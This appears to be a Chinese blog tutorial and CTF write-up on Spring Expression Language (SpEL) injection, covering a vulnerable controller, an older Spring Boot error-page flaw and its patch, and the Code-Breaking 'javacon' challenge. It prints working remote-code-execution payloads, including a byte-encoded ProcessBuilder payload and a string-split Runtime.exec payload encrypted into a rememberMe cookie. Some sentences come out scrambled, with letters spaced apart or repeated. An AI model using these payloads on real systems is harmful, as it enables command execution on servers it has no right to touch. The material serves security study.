Java 安全-手把手教你SPEL表达式注入

更多文章资源关注公众号 小菜鸡的技术之路
Java 安全-手把手教你SPEL表达式注入_第1张图片

看见p神之前的一道题目,考点是SPEL(Spring Expression Language)表达式注入,正好利用周末把这块知识补一下,SPEL注入也是Java 各种代码注入姿势中的其中之一,是Spring框架的一种语言,类似于Struts2中的OGNL。


0x01 SPEL 简介

Spring表达式语言(简称SpEl)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。尽管有其他可选的 Java 表达式语言,如 OGNL, MVEL,JBoss EL 等等,但 Spel 创建的初衷是了给 Spring 社区提供一种简单而高效的表达式语言,一种可贯穿整个 Spring 产品组的语言。这种语言的特性应基于 Spring 产品的需求而设计。

0x02 表达式注入漏洞介绍

2013年4月15日Expression Language Injection词条在OWASP上被创建,而这个词的最早出现可以追溯到2012年12月的《Remote-Code-with-Expression-Language-Injection》一文,在这个paper中第一次提到了这个名词。

这次分析的SPEL即Spring EL,是Spring框架专有的EL表达式。相对于其他几种表达式语言,使用面相对较窄,但是从Spring框架被使用的广泛性来看,还是有值得研究的价值的。

SpEL使用 #{…} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用 符 号 如 : 符号 如: {someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

#{T(java.lang.Math)}
1
#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象。

0x03 SPEL 漏洞

该漏洞的漏洞形态类似于命令注入,因此之前该漏洞归为命令注入类。看一下最简单的漏洞样例。

    @RequestMapping("/test")
    @ResponseBody
    public String test(String input){
     
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }

将输入的参数直接当作表达式解析的参数,在解析过程中将造成命令执行。

http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()

Java 安全-手把手教你SPEL表达式注入_第2张图片

当然也可以采用T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性,也是可以是想相同的功能。

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")");
Object value = exp.getValue();

0x04 真实漏洞分析

0x1 SpringBoot SpEL表达式注入漏洞

1 漏洞分析

漏洞比较早,影响范围
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

这里测试采用的是 https://mvnrepository.com/artifact/org.springframework.boot/spring-boot/1.3.0.RELEASE 漏洞环境用的p神的javacon 将 spring-boot-2.1.0 替换为 spring-boot-1.3.0即可

漏洞触发的条件是在错误页面中输出用户可控的值,如下是一个简单的demo

Java 安全-手把手教你SPEL表达式注入_第3张图片

直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面

Java 安全-手把手教你SPEL表达式注入_第4张图片

其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类

Java 安全-手把手教你SPEL表达式注入_第5张图片

可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result 此时map的值如下

Java 安全-手把手教你SPEL表达式注入_第6张图片

其中template内容如下



Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

${timestamp}
There was an unexpected error (type=${error}, status=${status}).
${message}

继续跟进函数replacePlaceholders

这时可以看到,while循环中循环解析 x x x 的 表 达 式 , 例 如 第 一 个 解 析 到 {xxx}的表达式,例如第一个解析到 xxx{timestamp},取出中间的值,然后通过resolvePlaceholder函数进行spel解析,如下图所示:

Java 安全-手把手教你SPEL表达式注入_第7张图片

spel 表达式解析代码如下

Java 安全-手把手教你SPEL表达式注入_第8张图片

我们看一下message处理时resolvePlaceholder函数中value的值为输入的payload参数,在返回时经过了一层HtmlUtils.htmlEscape 相当于是html编码。

Java 安全-手把手教你SPEL表达式注入_第9张图片

接下来就是递归函数,因为会存在${${1*1}}的情况所以在解析完一层过后会判断是否包含${}如果包含那么就会递归函数

最后在第二次解析sprintboot spel表达式的时候发生了注入,此时应该注意payload不能被html编码。因此采用下面形式的payload

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}

Java 安全-手把手教你SPEL表达式注入_第10张图片

2 补丁分析

补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析。

resolvePlaceholder的功能由代码看出,如果此次调用类为NonRecursivePlaceholderResolver的话将会返回null,如果是第一次调用则正常执行resolvePlaceholder这个函数
Java 安全-手把手教你SPEL表达式注入_第11张图片

Java 安全-手把手教你SPEL表达式注入_第12张图片

3 实验环境

改造的p神 javacon题目 替换了如下所示jar包
Java 安全-手把手教你SPEL表达式注入_第13张图片

0x2 Code-Breaking javacon 题目解析

上面的所有都是由于看见了此题目恶补的知识,下面切入这个题目,题目难度不大主要漏洞在于spel表达式注入。

1 路由梳理

看到web题目首先梳理web的路由框架,由于此题目采用的是spring boot 框架因此只需审计Mapping 注解路由即可。总共有如下几个路由:

Java 安全-手把手教你SPEL表达式注入_第14张图片

2 寻找漏洞点

找了一会危险函数无果后,最后聚焦在了parseExpression这个函数上,因为在spel表达式中也存在类似的解释函数。我们但与标准spel不同的是,该表达解析实现了自己的解析策略。

Java 安全-手把手教你SPEL表达式注入_第15张图片

解析策略如下
parseExpression 有两个重载函数

Java 安全-手把手教你SPEL表达式注入_第16张图片

第二个参数指定了表达式的格式

Java 安全-手把手教你SPEL表达式注入_第17张图片

这也决定了最后的payload的形式为#{xxx}

3 溯源

有了漏洞点之后,开始漏洞溯源,在admin函数中调用了getAdvanceValue函数

Java 安全-手把手教你SPEL表达式注入_第18张图片

这里可以看到最后进入表达式解析的是username字符串,一开始username为admin,我们只能通过修改username来触发漏洞,看代码逻辑这也就简单了很多。代码中将rememberMeValue的值通过解密操作赋值给了username,加解密用的是userconfig中的crypt函数

其中rememberMeKey 的值在application.yml中存储

Java 安全-手把手教你SPEL表达式注入_第19张图片

操作如下:

  1. 构造spel漏洞利用payload
  2. 将payload用

4 构造payload

结合上一篇文章 Java 反序列化(1 ) - 反射
,这里需要注意的是Runtime获取对象只能通过getRuntime方法获取,还需要注意的一点是,getruntime为静态方法所以他的调用者应该是类本身,在invoke的时候要把函数的调用者传入第一个参数当中。之后利用原有代码中加解密函数将其加密。

package io.tricking.challenge;
import io.tricking.challenge.UserConfig;

public class test {
     
    public static void main(String[] args) {
     
        UserConfig userc = new UserConfig();
        userc.setUsername("#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"touch /tmp/xyz\"})}");
        userc.setRememberMeKey("c0dehack1nghere1");
        System.out.println(userc.encryptRememberMe());
    }
}

Java 安全-手把手教你SPEL表达式注入_第20张图片

0x05 总结

Spel表达式注入漏洞有一定的特殊性,正常在编写项目的过程中很难会使用到该功能,但他存在于大的框架项目中,因此一旦被挖掘出来其危害是很大的,除了spel还有很多类似的框架级表达式注入漏洞,在接下来的一段时间内会继续跟踪学习。

0x06 参考文章

https://www.freebuf.com/vuls/172984.html
https://m.habr.com/company/dsec/blog/433034/
https://www.secpulse.com/archives/75930.html
https://www.kingkk.com/2019/05/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5-%E5%85%A5%E9%97%A8%E7%AF%87/
http://deadpool.sh/2017/RCE-Springs/
https://2018.zeronights.ru/wp-content/uploads/materials/10%20ZN2018%20WV%20-%20Spel%20injection%20.pdf

你可能感兴趣的:(WEB漏洞,Java,安全,java,安全,表达式注入)